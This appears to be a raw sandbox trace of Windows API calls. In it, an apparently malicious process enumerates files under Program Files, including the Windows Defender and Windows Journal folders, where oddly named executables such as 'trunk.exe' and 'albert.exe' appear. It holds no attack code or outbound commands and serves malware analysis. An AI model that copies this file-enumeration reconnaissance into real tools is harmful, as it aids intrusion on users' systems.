	[0053.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600)) returned 1
	[0053.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\trunk.exe" (normalized: "c:\\program files\\windows defender\\trunk.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd784c560, ftCreationTime.dwHighDateTime=0x1d4ba5b, ftLastAccessTime.dwLowDateTime=0xfca401d0, ftLastAccessTime.dwHighDateTime=0x1d519a6, ftLastWriteTime.dwLowDateTime=0xfca401d0, ftLastWriteTime.dwHighDateTime=0x1d519a6, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0053.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0053.586] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e07c2a0, ftCreationTime.dwHighDateTime=0x1d51f6f, ftLastAccessTime.dwLowDateTime=0xa4133d90, ftLastAccessTime.dwHighDateTime=0x1d4f919, ftLastWriteTime.dwLowDateTime=0xa4133d90, ftLastWriteTime.dwHighDateTime=0x1d4f919, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="albert.exe", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1
	[0053.586] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1
	[0053.587] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1
	[0053.587] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0053.587] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.587] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.587] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\InkSeg.dll" (normalized: "c:\\program files\\windows journal\\inkseg.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000)) returned 1
	[0053.587] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\JNTFiltr.dll" (normalized: "c:\\program files\\windows journal\\jntfiltr.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400)) returned 1
	[0053.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\JNWDRV.dll" (normalized: "c:\\program files\\windows journal\\jnwdrv.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800)) returned 1
	[0053.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600)) returned 1
	[0053.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL" (normalized: "c:\\program files\\windows journal\\mspvwctl.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400)) returned 1
	[0053.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL" (normalized: "c:\\program files\\windows journal\\nbdoc.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00)) returned 1
	[0053.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\NBMapTIP.dll" (normalized: "c:\\program files\\windows journal\\nbmaptip.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600)) returned 1
	[0053.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe" (normalized: "c:\\program files\\windows journal\\pdialog.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800)) returned 1
	[0053.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.590] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1
	[0053.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.592] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6)) returned 1
	[0053.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c)) returned 1
